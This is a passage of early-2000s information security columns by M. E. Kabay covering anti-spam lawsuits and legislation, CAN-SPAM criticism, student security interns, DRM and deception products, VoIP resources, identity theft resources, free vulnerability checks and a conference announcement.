AOL has continued its legal battles against spammers and has recorded the results of 23 cases in an archive that will be useful to anyone looking for legal precedents in preparation for similar lawsuits [6].

Another big gun targeting spammers is Microsoft. In June 2003, the software giant launched 15 lawsuits – 13 in Washington State and two in the United Kingdom [7]. Victims interested in their own lawsuits may learn from the details of the cases: most of the lawsuits mention deceptive subject lines, spoofed headers falsely naming msn.com or other Microsoft ISPs, content misusing Microsoft trademarks or fraudulently associating the senders with Microsoft, and refusal to obey cease-and-desist orders. Although I am not a lawyer and this is not legal advice, it seems to me as a layperson that the company's attorneys are deliberately focusing on clear damage to their interests rather than trying to break new ground by making the spamming itself the issue. The British cases are also interesting because they accuse unknown parties (John Does) of using Microsoft servers to validate e-mail addresses in preparation for spamming.

In discussing these cases, senior attorney Tim Cranton of Microsoft said, "Microsoft feels very strongly that the spam problem requires a multi-pronged strategy that involves not just enforcement, but new technology, strong anti-spam legislation, and the development of industry best practices for legitimate commercial e-mailers. Each of these pillars depends on the other three to be effective. [8]"

In my next and final column in this series, I'll be looking at legislation that tries to regulate or stop spammers.

Antispam Laws

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

Over the last several weeks, I've been looking at spam and some of the ways companies are fighting back in courts of law. In this, my final article on the topic for a while, I'll review some of the antispam laws already on the books and some of the laws being considered to fight the problem.

Before we get into real laws, a word of warning about a widespread fraud: "S. one thousand six hundred eighteen." Many spammers put a note at the bottom of their junk messages claiming that they are complying with such a US law and that it makes their spam legal. Rubbish: the Senate of the US did indeed pass S. 1-6-1-8 (without the hyphens) in 1998, but it never became law because it was not ratified by the House of Representatives [1]. Ironically, any reference to this number in an e-mail message may activate antispam filters, which is why I'm going to such lengths to avoid putting it in its usual form. I hope its inclusion in the URL won't trigger readers' blocking software.

The most comprehensive list of antispam laws I have found is provided by emaildaddy.com [2]. It provides links not only for US federal and state laws and proposed bills but also for 15 European countries plus the European Union, Australia, Brazil, Canada, Czech Republic, India and Russia. The Federal laws show none enacted, 10 bills from the 106th Congress (1999-2000) and five from the 107th Congress (2001-2002). Twenty-four state laws are summarized and linked in the list.

The 108th Congress currently in session has a number of bills pending [3]. The CAN-SPAM Act (S. 877) is widely touted as a major advance, but according to the "spamlaws.com" site, "It would pre-empt any state laws that prohibit unsolicited commercial e-mail outright, but would not affect the majority of state spam laws." The Anti-Spam Act of 2003 is apparently even weaker, since it would preempt most state laws. The REDUCE Spam Act of 2003 (HR 1933) is even worse, with a definition of spam that limits its applicability to people sending out more than 1,000 junk messages in any two-day period. The Stop Pornography and Abuse Marketing Act (S. 1231) sponsored by Sen. Charles Schumer (D-NY) would establish a no-spam registry administered by the FTC (much to that agency's horror) [4]. The registry would work for people who choose to use it, but it could equally well be used to harvest all the e-mail addresses for use by criminal spammers. To fight this kind of abuse, Schumer's bill also calls for strict penalties including imprisonment for repeat offenders.

Most of these laws and bills are relatively weak. They generally require identification of the spam – many by having "ADV:" in the subject line – and demand that the junk include accurate postal addresses and working unsubscribe links or instructions. They thus use the opt-out concept to regulate spam, ignoring the possibility that even a single junk message per business may flood e-mail recipients with millions of messages over years of annoyance. Worse, they don't take into account the possibility that the creeps who send junk e-mail can simply sell the

confirmed e-mail addresses received through the opt-out process to new spammers who are thus not bound by the specific opt-out demand. Finally, none of these bills seems to take into account the strong likelihood that overseas spammers will pick up where domestic spammers leave off. Recall that international regulations on extradition require "dual criminality:" equivalent severity of the crime in both the jurisdiction of residence and in that requesting extradition [5]. Since most countries have nothing equivalent to antispam laws, it's unlikely that prosecutors from those places with such laws will successfully interfere with international spammers.

In addition to allowing government officials in the US to file charges under state and federal laws governing spam, these statutes also allow private citizens to launch class-action lawsuits. For example, a Utah law firm has filed a class action lawsuit against Sprint Corp. alleging violation of that state's spam law because the company is accused of having used a fraudulent FROM address, failed to put the ADV: prefix in the subject line, failed to include the sender's company name and street address in the message, and failed to include an opt-out method [6]. I hope that many other law firms will take advantage of local laws to sue prominent spammers.

In conclusion, this problem is global and will probably be with us for several more years until we collectively come up with solutions spanning the spectrum from artificial intelligence tools through IPv6 to authenticate all Internet packets through individual lawsuits by deep-pocket victims, class-action lawsuits on behalf of shallow-pocket victims.

My own favorite antispam fantasy solution? Dunking convicted spammers in large vats of melted SPAM® before asking them if they'd like to opt out. And then doing it again. And again. And again. And. . . .

Can CAN-SPAM Can Spam?

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

On January 1, 2004, The CAN-SPAM Act of 2003 took effect in the United States. The Act is formally entitled, "Controlling the Assault of Non-Solicited Pornography and Marketing Act of 2003" and was introduced as S. 877 (passed Nov 25, 2003) and accepted by the House on Dec 8, 2003 [1].

Critics have consistently attacked the law as inadequate to control spam on the following grounds [2]:

1. The Act is based on an opt-out philosophy. Anyone can send one junk e-mail message legally as long as they offer an opt-out procedures. However, it is widely believed that many or most of the people who send spam value opt-out replies because they validate addresses. They then sell those addresses to other spammers. As a result, many people will be reluctant to use opt-out mechanisms. In any case, there are more than 20 million businesses in the USA today [3], so if every one of them chose to send a user exactly one message per year at random, a user could expect an average of over 54,000 messages requiring an opt-out response per day. If only 1% of these businesses chose to send out junk e-mail, the daily average would be 500 or more new junk messages requiring an opt-out.

   Section 5(a)(3)(A) requires spammers to provide an opt-out mechanism, but describes these mechanisms broadly as including "a manner specified in the message, a reply electronic mail message or other form of Internet-based communication. . . ."

   As pointed out by blogger Ed Foster, this section means that a spammer could create an opt-out mechanism requiring an unwilling recipient to log on to a Web site and search for opt-out instructions, possibly while being bombarded by pop-up ads [4]. Can you imagine having to log on to Web site after Web site to unsubscribe from drivel you never asked for and detest on sight? Think of the time involved. Furthermore, Web-based opt-out instructions permitted under this law will make it difficult for automated systems to unsubscribe victims of spam using such mechanisms. [Note from MK: I remember one spammer who demanded that his victims _solve a puzzle_ in order to be freed from his waves of, ah, e-xcrement.]

2. Section 9 of the Act mandates a Do-Not-E-Mail Registry for no later than July 2004 but provides no details on how such a registry would be created and updated, how it would be protected against abuse by spammers, which government agency would control it or how it would be used to limit spam.

3. The Act defines "commercial electronic mail message" as "any electronic mail message the primary purpose of which is the commercial advertisement or promotion of a commercial product or service (including content on an Internet website operated for a commercial purpose)." This definition thus permits spam from politicians, political groups, religious organizations, charities, hate groups, hobbyists, cranks, and anyone else

so long as the content cannot be construed as “commercial” (which is itself not defined in the Act).

4. CAN-SPAM overrides more restrictive state laws, weakening the range of legal countermeasures against spammers in the USA.

5. Nothing in the Act resolves the problem of spam directed against US residents but originating outside the boundaries of the USA.

By mid-January, anti-spam campaigners were confirming their pessimistic impression of the law’s effectiveness. According to Jan Libbenga of _The Register_, “The NANAS sightings newsgroup (a large collection of spam, updated continuously) doesn’t contain one spam message that is CAN SPAM compliant.” [5]

Let’s hope for some successful prosecutions of spamming soon with some stiff penalties. Until then, I’m sorry to say that I doubt that this law will have any helpful effect on spam.

Can Laws Block Spam?

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

I just read a new White Paper from Montreal-based Vircom, developer of Modus secure messaging solutions, on recent international anti-spam legislation efforts. Entitled, "Can Laws Block Spam?" the paper uses interviews with five experts on spam:
* Lindsay Barton, Manager, Online Policy at the National Office for the Information Economy of Australia;
* Anne P. Mitchell, Esq., President/CEO, Institute for SPAM and Internet Public Policy and Professor of Law, Lincoln Law School of San Jose, California;
* Michael D. Osterman. President and Founder, Osterman Research
* Troy Rollo, Chairman of the Coalition Against Unsolicited Bulk Email in Australia and Executive Director of the International Coalition Against Unsolicited Commercial Email
* Neil Schwartzman, Editor & Publisher spamNEWS, Chair, Canadian Coalition Against Unsolicited Commercial Email

The paper analyzes the CAN-SPAM act in reasonable detail, but this column has already pointed readers to that legislation and analyses of its weaknesses. More interesting here is the analysis of the European Community Directive on Privacy and Electronic Communication Regulation 2003. This legislation provides for opt-in (not opt-out) restrictions on sending junk e-mail. Much as with fax messaging, no one may initiate e-mail marketing without prior permission or prior business relationship – and there must be an easy way to refuse future junk e-mail at the time of initial data collection about an individual. In addition to enforcement actions initiated by the Information Commissioner in law courts, victims of spam may also sue for damages of up to £5,000 in cases heard before a judge (unlimited if heard before a jury). However, critics point out that the law does not regulate business-to-business spam, including spam sent to employees via their business e-mail addresses.

Another section covers the Australian Spam Act of 2003, which includes not only e-mail spam but also SMS (Simple Message System) junk messages. This law also uses an opt-in strategy, in contrast with the US approaches that depend on opt-out methods. There are also clauses dealing with proper (accurate) origination addresses and restrictions on harvesting e-mail addresses automatically. Penalties are potentially much higher than in the US or in Europe: "Civil penalties under the Act will be assessed according to a sliding scale for repeat offenders. An individual could be liable for up to a total of A$44,000 … for contravention on a single day, while an organization could be fined up to $220,000 AUD in a day. Offenders with a prior record will be penalized up to a maximum of A$220,000 … for each day of spamming by an individual, and A$1.1million … per day for organizations."

Although the Australian law has many admirable features, it founders on the reef of international spam. As commentators note in the White Paper, national laws will inevitably fail to control spam sent from outside their borders. According to a UNCTAD (United Nations Conference on Trade and Development) report on the origins of spam in 2003, the sources were

58.4% USA
5.6% China

5.2% UK
4.9% Brazil
4.1% Canada
21.8% Other

[On a side note, I have been receiving the most amazing junk e-mail from China lately – ads in comically bad English for everything from inflatable dolls the size of buildings to industrial flooring components and chemicals. Given that China has one quarter of the world's population and an economy that is growing at 9-11% per year, this trickle bodes very badly for the future of our inboxes.]

I think Michael Osterman summed up the situation well in his commentary: "Spam legislation, while well intended, will not control spam alone. The only answer is to fight spammers with the same weapon they use: technology. The problem with spam will be better faced by IT staff then by legislators. To control spam, it must be rendered economically non-viable. Now that is difficult to achieve because it costs virtually nothing to send; however, if we can increase the cost of sending a spam message, we can make it nonviable and the only way we can do that is through the increased use of anti-spam tools. . . . When anti-spam filters are effective they can eliminate 95% or more of the incoming spam, "...If an anti-spam filter can stop 95% of the spam that reaches an end user, the cost to the spammer of reaching that potential customer has risen by 20 times. Increasing the effectiveness of these filters to 97% increases the cost to the spammer by 33 times. The hope is that the potential revenue available to spammers drops by a corresponding amount, and equilibrium is reached."

Using College Students as Security Staff

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

I recently received the following interesting letter from a reader who has kindly permitted to quote it:

>I work for one of the largest cities in the United States. Due to the tightness of the budget, there is a plan to use computer science student interns to setup and manage the network security for various city agencies. Most of these agencies do not currently have the expertise or resources to dedicate to security.

I feel that it is a very bad idea for many reasons. There will be no oversight of the intern's work. Moreover it doesn't help the agencies become anymore security-savvy when the internship ends. I am also uncomfortable with the idea that the age bracket that is most common to hack is the same as most of these college interns. So, while the interns will have the knowledge to tighten security, this knowledge could also be used to leave/create backdoors that will be hard to find. I guess I am concerned about their lack of vested interest in the agencies and the lack of possible accountability. Am I out of line?

I would like the city to think of all of the consequences of this proposal before it goes into affect. I sense it could have the potential to be PR and security catastrophe.<

I responded that the reader's concerns seem very reasonable. In addition, I wrote, I'd add to the memo that the system _could_ work and be a wonderful opportunity for both the students and the city if

* the students are vetted using detailed phone conversations with their academic references;

* each candidate is interviewed to discuss their attitudes towards hacking and to evaluate their maturity;

* they write logs and prepare weekly reports on their findings and their actions so that others can learn from them;

* they provide teaching sessions at the end of their projects where they summarize the lessons learned and leave a permanent record of their work;

* the students are supervised by their college professors in weekly status meetings;

* clear policies are in place on acceptable use of city resources;

* all the students understand to whom they are reporting in their work so that there is no confusion about lines of responsibility;

* all the permanent staff understand to whom the students report for the same reason as the previous point.

As a university professor myself, I think that internships are a wonderful way for both the employer and the students to learn; in addition, the students' reports can serve as case studies (with suitable masking of sensitive information) for lectures by the students and as fresh material for professor's lectures.

My own experience with many university students interested in security is that they are committed to genuine security, not to childish hacking games. The criminal hackers either don't have the discipline to excel in university studies or they are very good at fooling their professors into believing that they're not criminal hackers.

Finally, I note that the NSA and NSF cyber-security scholarship programs, in which Norwich students have particularly distinguished themselves by winning an unusually high number of seats, include summer internships in government departments. Clearly somebody thinks that college students can be a real security asset.

MSIA: 18-month online Master of Science in Information Assurance offered by Norwich University; see < http://www3.norwich.edu/msia > for full details.

M. E. Kabay, PhD, CISSP is Associate Professor in the Department of Computer Information Systems at Norwich University in Northfield, VT. Mich can be reached by e-mail at < mailto:mkabay@norwich.edu >; Web site at < http://www.mekabay.com/index.htm >.

Securing Applications and Their Data

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

About six months ago, I was contacted by a company with news of a fascinating new product. . I've looked at this company's Web site < http://www.liquidmachines.com/ > and am very interested indeed in what they have to offer.

Liquid Machines is offering a mechanism for integrating strong security with any application program that you use in your organization, whether custom-built or COTS (commercial off-the-shelf) software. Quoting from a press release, the product offers

* Auto Integration with existing applications, directory and authentication mechanisms. Unlike other application-specific security solutions, this lets enterprises install Liquid Machines consistently and quickly, without any modifications or upgrades to existing applications, including custom applications.

* Trusted Security Agents that act like private security guards, traveling with data and documents to enforce policies. These trusted security agents remain with data regardless of where data goes, enforcing policies, and allowing or preventing common actions like reading, modifying, copying and printing information according to a user's privileges.

* The Policy Droplet control that enables business users to intuitively assign security policies to data quickly and easily within popular desktop applications, such as Microsoft Office, Visio, Microsoft Project, Documentums eRoom, SolidWorks and Adobe Acrobat.

* Customized Logging and Reporting capabilities that help companies demonstrate compliance and satisfy auditing and reporting requirements.

According to the documentation on the Web site, the product allows users to create and share their company documents just as they ordinarily would – but these documents are restricted by access and usage control rules that can be defined by management centrally and managed inside and outside the enterprise, or assigned by the users themselves. Once documents have been created in the modified applications, they cannot be shared by versions of the software that have not been transformed by Liquid Machines. This design should greatly reduce one of the most pernicious problems in modern data management: data leakage. Unlike plain encryption tools or those based on a repository or container implementation, which generally cause resistance from users and have no access control features, the design of Liquid Machines could significantly improve overall security in the corporate sector.

The product is licensed for workgroup applications, starts at a base price of $50,000, and has a per-seat incremental pricing structure.

[Disclaimers: I have not tried this software; this is not an evaluation or an endorsement – it's a statement of interest; I have no financial involvement whatsoever in the company and it products.]

VoIP Resources:
Books and White Papers

by M. E. Kabay, PhD, CISSP
Associate Professor, Information Assurance
Norwich University, Northfield VT

In my last column, I introduced a major document reviewing voice over IP (VoIP) security published by the National Institute of Standards and Technology (NIST), Special Publication 800-58 < http://tinyurl.com/6fse6 >. In this column, I am presenting additional resources for those of you interested in deepening your knowledge of VoIP or in finding resources for teaching others about VoIP security.

TEXTBOOKS

- Davidson & Peters (2000) provided an overview of VoIP in a single short text dating back a few years. A similar overview is by Keagy (2000) and another one is from Miller (2002).

- Camarillo (2002) is a short text about Session Initiation Protocol (SIP), one of the major techniques used in VoIP. Chapters 4 (fundamentals of the protocol), 5 (examples of how SIP works), and 6 (security) are the core of the book.

WHITE PAPERS

- Ackerman et al. (2001) discussed "the theoretical background of certain vulnerabilities, testing and attacking tools" and found significant vulnerabilities in many VoIP solutions.
- A white paper by Halpern (2002) of Cisco Systems discusses security of VoIP in the context of the SAFE framework. The author begins, "This paper provides best-practice information to interested parties for designing and implementing secure IP telephony networks utilizing elements of the SAFE blueprints. All SAFE white papers are available at the SAFE Web site: < http:// www.cisco.com/go/safe >. These documents were written to provide best-practice information on network security and virtual-private-network (VPN) designs."
- Another white paper, Cisco (2003), extends this framework to what the company calls "Integrated Network Security for Cisco IP Communications" and which "will provide comprehensive security with system-level protection, integrity, and privacy through tighter integration with the security capabilities of the data network."
- A 10-page white paper from Vitel (2003) and hardware offers some practical advice on protocols, hardware, and monitoring as useful tools in securing VoIP.
- Long (2002) and Boyter (2003) wrote very nice descriptions of sniffing attacks on VoIP and several countermeasures as part of their work for the GIAC Security Essentials Certification (GSEC) and GIAC Certified Incident Handler (GCIH) certification, respectively.
- Collier (2004) has excellent recommendations for securing VoIP which are worth quoting directly here:
  - Use some form of host-based intrusion detection to detect attacks.

    - Deploy a voice-optimized firewall to protect the IP PBX from attackers on the LAN and Internet.
    - Build a switched network. This not only improves performance, but also makes it more difficult for an attacker to access end points.
    - Make use of VLANs to help segregate traffic.
    - Secure all networking components, including switches, routers, etc.
    - For campus VoIP, configure Internet firewalls and other security systems to prevent VoIP from entering or leaving the internal network.
    - Limit the number of calls traveling over the WAN to the media gateway or any shared resource that could be overloaded by a DoS attack.
    - Consider additional firewalls and security products to control or monitor traffic on the network.
- Echezabal (2003) wrote a 9-page paper for the GIAC Security Essentials Certification (GSEC) on VoIP Security that provides a succinct summary of the issues.
- Molitor (date unknown) of Aravox Technologies wrote a couple of short white papers with helpful information about firewalls for VoIP systems.

In my next column, I will examine in more detail an excellent exposition of threats to VoIP from an Austrian student's master's thesis. See Thalhammer (2002) if you want a sneak peek.

Baiting Hackers

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

In a previous article, I reported on an interesting (I hope it was interesting) discussion with two experts from NetBait, Inc. about their disinformation product. In this column, we continue our discussion with a more fundamental question – the role of such technology in a production environment. The speakers are Ilya Zeldin, President and Ivan Milovidov, CTO of NetBait Inc. < http://www.netbaitinc.com/ >.

Q: How does NetBait discourage the sophisticated attacker?

The Disinformation Security aspect of NetBait does two things: changes the appearance of the network and demands exponentially greater degree of knowledge from intruders. In doing so, we see NetBait as a primary component of any security infrastructure in conjunction with other tools. NetBait can act as the first, second or last layer of defense by wasting the intruder's time, forcing him to execute unnecessary actions and providing him with false positives on the attack itself.

For a small- and mid-size company, NetBait can make its network "look and feel" like that of an enterprise without additional capital or human resources, and without investments in time for OS and service configuration and maintenance. With NetBait, an administrator is effectively forcing the hacker to spend hours on useless investigative work while staying one step ahead of pending attacks. The same logic can be applied to an enterprise-level network, where any critical production server can be transformed into a black hole by replicating it with thousands of NetBait nodes identical to that server in every possible attribute. On the flip side, an enterprise's complex multi-tiered network can look and feel like a simple and boring network composed of, say, a hundred Windows 95 machines.

Another side of NetBait functionality allows us to go beyond a projection of an imaginary network. NetBait nodes can stand in front of real network objects and alter their appearance dynamically. For example, a Windows 2000 system can sometimes look like a Windows NT system and then like a Linux system. By changing the appearance of these devices, NetBait forces the attacker to re-evaluate the topology and characteristics of the network over and over. If NetBait nodes are static, administrators can study intruder actions precisely, identify new attack signatures, correlate them with existing IDS (intrusion detection systems) or firewalls, and so on. For example, every NetBait object and every real computer on the network can positively respond to a specific exploit creating millions of records for a hacker to verify, which will force him to go through a month-long TODO list that, even if executed, will be a waste of time.

Q: How do you handle threats from attackers who are trying to spot the presence of your product?

You are referring to fingerprinting, or the ability to separate a fake object from a real one. For example there are ways to fingerprint honeypots based on TCP connectivity, default responses

from the software data structure and so on. For example, HoneyD has specific scripts or responses that can be spotted by attackers because everyone running HoneyD has the same script by default – it was included in the installation

NetBait's distinction here is that it projects real systems based on an inventory, or Server Farm, of real network-based objects (i.e. OS, applications, services, etc.). If these systems are installed accordingly to your policy, they look like everything else on your network. So fingerprinting based on emulation is impossible since nothing is emulated.

At the same time, it is possible to detect the presence of NetBait nodes based on a tiny time delay in response from traffic redirection. There are many ways to avoid fingerprinting based on TTL. For example, real computers can be "moved" into the NetBait infrastructure, which would create the same TTL, or different connectivity speed or protocols can be deployed on the network The most important point here is that even if an intruder is able to "guesstimate" that certain network objects are NetBait-based, he will fail applying the same logic to any other network, which makes fingerprinting through a generic exploit obsolete.

Q: How much room is there for creativity with NetBait?

Deception is a great strategy to prevent attacks that cost millions in damage. NetBait makes deception extremely easy and effective to deploy and maintain.

We are constantly working on innovative strategies for implementation. For example, why not create an entire set of multi-tiered networks? Consider this: real objects look fake, while NetBait objects look real. Or this: distribute freeware easy-to-detect honeypots (through NetBait deployment) next to undetectable NetBait targets, and embed real objects within the NetBait infrastructure. Or project huge numbers of identical systems that makes it impossible to identify real systems buried in this morass of fluff.

Every network is unique and NetBait has enough scale and flexibility to respond to the specific requirements of a given infrastructure, policy, security demands, or administrator's imagination. With NetBait, you can protect individual resources or lower the global level of risk network-wide.

* * *

One other quick point: My sincere thanks to Ilya and Ivan for their contribution to Norwich student Bob Pelletier's research project on deception networks; a summary of Bob's work will be appearing in this column in the spring of 2004.

The Bill is in the E-Mail

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

One of my readers, Douglas Johnson, sent me the following well-crafted essay on a new twist on e-commerce: e-mailed invoices. Because of concerns over confidentiality and the complete lack of assurance of delivery, very few businesses have been willing to entrust their precious bills to e-mail; however, this reluctance may soon disappear. Here is Mr Johnson's essay (with minor edits):

* * *

Millions of people pay bills using online banking services, but very few businesses send statements and invoices to customers via e-mail. By using e-mail, businesses can save on printing and mailing costs while providing customers with a convenient option and format that is easily filed and printed. Despite these benefits, e-mail statement delivery is almost nonexistent due to security regulations and the fear of costly breaches in privacy that could cost the sender millions in fines, litigation, and brand damage. However, new content security software using digital rights management (DRM) technology will prevent such problems and increase acceptance by users.

Content Security versus Web Access Security

Many businesses currently provide customers with the option of retrieving statements from a Web site. Users are justifiably worried about the security of their data on Web sites. In addition, access controls do not prevent accidental forwarding of confidential content by authorized users. Enforcing privacy policies becomes even more important under recent legislation such as California SB 1386, which requires companies to report any breach of security involving personal data.

Content security architectures, such as DRM, lock content so that security is embedded in content and thus travels with that content. DRM technology can require access to both hardware and user-account keys. Even if criminals get a stolen key, they can't access the protected content without the authorized physical device (such as the computer) used for legitimate access. Content security also solves the problem of accidental forwarding by legitimate users: without the proper keys, the recipients can't read the forwarded message. DRM provides additional controls for senders such as read receipts, print controls, and expiration of transmitted documents.

Content Security enables E-mail Delivery

Most people are used to receiving paper statements in their mailbox; they would expect digital statements to appear in their inbox automatically. People just don't like having to visit a Web site and log on to get their bill. Unfortunately, e-mail isn't very reliable and it isn't particularly secure. Content security overcomes e-mail security issues while maintaining customer ease of

use. Only an authorized user sitting at an authorized machine can access the encrypted message. Behind the scenes, a secure viewing application on the authorized computer contacts a trusted third party to validate the user credentials as well as the origin of the message. Content security also naturally preserves the integrity of statements used as receipts.

Content Security Challenges

Both Microsoft and Adobe are solving the ubiquity problem by building digital rights management into their widespread desktop applications. Microsoft's Rights Management Services (RMS) technology, based on XrML, will be included in all the new versions of Office 2003 and available as a plug-in to Internet Explorer. Both Microsoft and Adobe are building a partner network to help extend their respective technologies to the billing and invoicing systems that are used to create paper statements.

With the integration of third-party authentication services, this technology is going to become increasingly interesting to both vendors and consumers. Expect to see the bill in the e-mail pretty soon.

* * *

Douglas Johnson is the VP of Marketing at GigaMedia Access Corporation < http://www.gigamediaaccess.com/ > which develops secure applications utilizing Microsoft's RMS technology. Also contributing was David Freeman from RDA Corporation.

Identity Theft Resources

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

In a previous column, I discussed the resources at the National Criminal Justice Reference Service (NCJRS, http://www.ncjrs.org). In their most recent catalog, the NCJRS pointed to some valuable new resources about identity theft that readers can use in their security newsletters (see my recent article "Bringing Security Home" to understand why I recommend including information personally useful to employees in corporate security newsletters). Their pointers led me to additional links from which I have compiled the following short list.

* Beth Givens of the Privacy Rights Clearinghouse gave a succinct summary of identity theft to the U.S. Senate Judiciary Subcommittee on Technology, Terrorism, and Government Information chaired by Senator Jon Kyl in July 2000; it is packed with information and resources.

* There's a helpful fact-sheet called "IDENTITY THEFT: Reduce Your Risk" prepared "by American Express in cooperation with the Privacy Rights Clearinghouse and the Identity Theft Resource Center" and "with the assistance of the Federal Trade Commission."

* For the many unfortunate victims of this rapidly-growing crime, the document "Identity Theft: What to Do if It Happens to You," which is a joint publication of the Privacy Rights Clearinghouse and CALPIRG, has emergency actions listed clearly. This helpful guide was revised in July 2003.

* The US Department of Justice has a section on ID theft at < http://www.usdoj.gov/criminal/fraud/idtheft.html >.

* The Federal Trade Commission runs a Web site for consumers that includes extensive documentation on ID theft. It's at < http://www.consumer.gov/idtheft/ >.

Free Vulnerability Assessments Online

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

One of the most useful checks anyone can perform on a computer connected to the Internet is a vulnerability assessment. Two of the free services I've used are the Symantec Security Check and Steve Gibson's specialized LeakTest utility.

The Symantec Security Check is available in many languages; the US English version is currently at < http://security.symantec.com/sscv6/default.asp?langid=ie&venid=sym >. This site is also automatically available through the Norton SystemWorks 2004 menu through the Extra Features tab. You will need to be running at least Internet Explorer 5.0, Netscape 4.5 or Safari 1.0. Unfortunately, the site rejects the Opera browser, which is my personal standard.

The scan takes about two minutes on my .5-1 Gbps download/ 50 Kbps upload Starband satellite link (I live out in the boonies where there's no cable service available). The results are summarized in the following categories (I'm quoting or paraphrasing directly from Symantec's Web page but not bothering with quotation marks here):

* Hacker Exposure Check: Tests your TCP ports for unauthorized Internet connections. Tests include ICMP Ping, FTP, SSH, Telnet, SMTP, Finger, HTTP, POP3, Ident/Authentication, NNTP, Location Service, NetBIOS, IMAP, HTTP over TLS/SSL, Windows NT/2000 SMB, SOCKS, PPTP, UPnP and pcAnywhere. Each port is briefly described along with the results (open, closed or stealth).

* Windows Vulnerability Check: Tests whether basic information, including your PC's network identity, can be seen by hackers.

* Trojan Horse Check: Attempts to test for access to your computer through methods commonly used by Trojan horses. Vulnerabilities checked include those used by Acid Shivers, Back Orifice 2000, Backdoor/Subseven, Bla, Blade Runner, COMA, DeepThroat, Delta Source, Dmsetup, Doly, Donald Dick, Extreme, FC Infector, FireHotcker, FTP99CMP, GateCrasher, GJammer, Hack 'A' Tack,, Indoctrination, iNi Killer, Keylogger, Master Paradise, NetBus, NetMonitor, NetSphere, Netspy, Portal of Doom, Priority, Progenic, RASmin, Remote Explorer, Remote Grab, Senna Spy, Shiva Burka, ShockRave,TranScout, Sokets de Trois v1, SpySender, Striker, Trojan Cow, Trojan Ripper, Ultor's, Whack-a-Mole, and WinCrash.

* Antivirus Product Check: Checks for a current version of a commonly-used virus protection product.

* Virus Protection Update Check: Checks the date of your most recent virus protection update. If the updates are more than two weeks old, they are not considered current.

Steve Gibson's site < http://www.grc.com/ > is chock full of useful free utilities and will be the subject of another article soon (he has all kinds of new security tools). The one I want to remind readers of is LeakTest, which was largely responsible for major improvements in firewalls some

years ago. The new version 1.2 of this tiny tool (downloaded 4,529,146 times when I visited the site) is available at < http://www.grc.com/lt/leaktest.htm >. The 25 KB program checks to be sure that your firewall notices and (assuming you disallow them) prevents unauthorized outbound connections from programs on your system.

* * *

MSIA: 18-month online Master of Science in Information Assurance offered by Norwich University; see < http://www3.norwich.edu/msia > for full details.

E-ProtectIT 6

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

I invite you to attend the Sixth Annual e-ProtectIT Infrastructure Protection Conference at Norwich University in Northfield, Vermont on March 23-25, 2004. As Program Chair, I'm delighted to announce another excellent lineup of workshops and speakers.

We start with three concurrent two-day workshops on Tuesday and Wednesday. World-famous forensic scientist Peter Stephenson, CPE, PCE, FICAF, CISSP, will present a tutorial on network forensics. Peter's workshops have been well attended and much appreciated in previous e-ProtectIT conferences. Norwich CIO and VP of Technology & Strategic Partnerships Phil Susmann will present his sparkling introduction to information security. Phil is a gifted teacher whose courses are not only informative but also stimulating and fun. Finally, I will give my annual INFOSEC Update workshop, in which I stuff participants with this year's results of the ongoing INFOSEC Year in Review project. Typically we have about 25 people in the workshop and we review around 300 pages of abstracts classified according to a taxonomic scheme that starts with computer crime cases, new viruses, and other threats and then progresses through evolving vulnerabilities, management issues, developments in cryptography, and legal issues.

The colloquium on Thursday has a fascinating series of speakers and topics.

* The conference opens with distinguished keynote speaker GEN Alfred Gray, USMC (RET), former Commandant of the Marine Corps and a member of the Joint Chiefs of Staff.

* Our next speaker is Dan Wolf, Director of Information Assurance at the National Security Agency (NSA). His topic is "Educational Collaboration as an Essential Component of National Security."

* MSGT Rob Rosenberger, USAFR, of VMYTHS fame, is a military historian who has just returned from four months duty in Iraq. He will present a shocking case study entitled, "Antivirus Firms Threaten U.S. National Security."

* Patrick R. Gallagher, Jr, former Director of the National Computer Security Center at the NSA and affectionately known as the Father of the Rainbow Series, will speak on "Technology, Public Policy and Social Change: Finding the Dots and Connecting Them."

* Prof. Yonah Alexander, noted author and Director of the International Center for Terrorism Studies (ICTS) of the Potomac Institute for Policy Studies, will speak on "Perspectives on Cyberterrorism."

* R. Pierce Reid VP of Marketing for Qovia Inc., will speak on "The Role of Fear, Uncertainty and Doubt in Marketing Security."

* MG Jack D'Araujo, ARMY NG (RET) will speak on "Cyber Simulation -- Preparing for Cyberwar."

* The last presentation will be a spirited panel discussion on “Integrating IA Across the Curriculum” with professors from Champlain College, Dartmouth College, Norwich University, University of Vermont, United States Military Academy at West Point, and Dr William (Vic) Maconachy, Program Manger of the National INFOSEC Education and Training Program of the NSA.

Finally, I invite anyone interested in helping to sponsor the conference to pay special attention to the sponsorship opportunities described at < http://www.e-protectit.org/sponsorship.htm >. Sponsorship allows us to keep the base price down to $495 for three days and $195 for the colloquium alone. Sponsorship also allows us to provide minimal prices to law enforcement officials and members of the armed forces of the USA.

Join us!

* * *

Full information and registration is available on the conference Web site at
< http://www.e-protectIT.org >.

Workbooks from previous INFOSEC Update courses available at
< http://www.mekabay.com/iyir/index.htm >.

Norwich University Master of Science in Information Assurance in 18 months of study online: see
< http://www3.norwich.edu/msia >.

M. E. Kabay, PhD, CISSP is Associate Professor in the Department of Computer Information Systems at Norwich University in Northfield, VT. Mich can be reached by e-mail at < mailto:mkabay@norwich.edu >; Web site at < http://www.mekabay.com/index.htm >.

Lies and Statistics

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

I recently had occasion to write to the publisher of a magazine with a couple of complaints about the way they had represented information based on statistical analysis. It seems to me that readers of this column may appreciate a little clarity about exactly what they should expect from writers and editors when they report on, say, computer crime statistics. I have changed all the details to avoid embarrassing the guilty.

* * *

